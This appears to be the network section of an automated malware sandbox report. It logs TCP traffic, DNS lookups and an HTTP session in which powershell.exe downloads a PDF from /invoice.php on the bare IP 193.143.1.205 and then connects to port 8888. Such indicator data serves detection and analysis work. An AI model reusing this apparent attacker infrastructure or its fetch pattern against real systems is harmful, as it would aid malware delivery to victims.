Jan 11, 2025 06:24:44.899828911 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899831057 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899832964 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899868965 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899962902 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899976015 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899988890 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900002003 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900002956 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.900029898 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.900242090 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900254965 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900275946 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900280952 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.900290012 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900302887 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900316000 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900319099 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.900331020 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900343895 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900343895 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.900358915 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900372028 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.900412083 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.900460005 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.902164936 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.928649902 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928711891 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928740025 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.928742886 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928791046 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.928797960 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928869963 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928873062 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928906918 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928914070 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.928945065 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.928951025 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.928986073 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929025888 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.929059029 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929091930 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929126024 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929137945 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.929158926 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929192066 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929194927 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.929225922 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929260969 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929265976 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.929310083 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929343939 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929352045 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.929377079 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929413080 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.929419041 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.950838089 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.950896025 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.950947046 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.950963974 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.950980902 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.950995922 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.951020002 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.951054096 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.951066017 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.951088905 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.951131105 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.952013969 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952064037 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952099085 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952109098 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.952131987 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952168941 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952174902 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.952202082 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952238083 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952241898 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.952272892 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.952312946 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985012054 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985023975 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985037088 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985127926 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985215902 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985234976 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985254049 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985269070 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985270977 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985285044 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985296965 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985297918 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985308886 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985322952 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985330105 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985347986 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985358953 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985363960 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985377073 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985388994 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985388994 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985405922 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985414028 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985419035 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985430956 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985440969 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985443115 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985452890 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985471964 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985471964 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985492945 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985495090 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985506058 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985526085 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985532045 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985533953 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985536098 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985539913 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985548019 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985552073 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985565901 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985577106 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985584974 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985591888 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985604048 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985618114 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985625982 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985629082 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985640049 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985649109 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985656023 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985667944 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985690117 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985744953 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985757113 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985769033 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985783100 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985801935 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985869884 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985883951 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985898972 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985908985 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985920906 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985928059 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985935926 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.985944033 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.985953093 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986002922 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986072063 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986083031 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986094952 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986110926 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986116886 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986129045 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986133099 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986143112 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986156940 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986174107 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986197948 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986212015 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986222982 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986233950 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986246109 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986263990 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986278057 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986301899 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986314058 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986325026 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986336946 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986350060 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986360073 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986365080 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986387014 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986399889 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986432076 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986444950 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986458063 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986470938 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986481905 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986535072 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986543894 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986572981 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986586094 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986607075 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986619949 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986633062 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986641884 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986670017 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986673117 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986686945 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986697912 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986742020 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986772060 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986783981 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986794949 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986807108 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986812115 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986824989 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986906052 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986918926 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986931086 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986943960 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.986947060 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.986965895 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.987024069 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.987035990 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.987049103 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.987059116 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.987065077 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.987071037 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.987092972 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.987108946 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.019387007 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019418001 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019469023 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019495964 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.019520998 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019550085 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019561052 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.019584894 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019618988 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019627094 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.019653082 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019686937 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019695044 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.019720078 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019753933 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019783974 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.019788027 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.019834042 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.095269918 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100159883 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100172997 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100186110 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100217104 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100229025 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100229979 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100244045 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100255966 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100274086 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100301981 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100348949 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100362062 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100373030 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100384951 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100385904 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100398064 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100409985 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100415945 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100421906 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100441933 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100465059 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100490093 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100506067 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100528002 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100538969 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100548983 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100550890 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100563049 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100569010 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100577116 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100589037 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100601912 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100615025 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100629091 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100641966 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100646019 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100653887 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100666046 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100667000 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100684881 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100692987 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100699902 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100713015 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100717068 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100734949 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100749016 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100753069 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.100760937 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:45.100780010 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.142908096 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.164571047 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.376863956 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.518699884 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:45.996004105 CET	49762	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:46.000849009 CET	8888	49762	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:46.001013994 CET	49762	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:46.001418114 CET	49762	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:46.006230116 CET	8888	49762	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:46.811935902 CET	8888	49762	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:46.861730099 CET	49762	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:47.314969063 CET	49762	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:24:53.827306986 CET	61156	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:24:53.827306986 CET	192.168.2.9	1.1.1.1	0x6fbc	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:24:36.896136045 CET	1.1.1.1	192.168.2.9	0xdc3b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:24:36.896136045 CET	1.1.1.1	192.168.2.9	0xdc3b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:24:53.834549904 CET	1.1.1.1	192.168.2.9	0x6fbc	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:24:54.530656099 CET	1.1.1.1	192.168.2.9	0x5f59	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:24:54.530656099 CET	1.1.1.1	192.168.2.9	0x5f59	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49743	193.143.1.205	80	7520	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:24:43.503854990 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:24:44.304230928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:24:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency 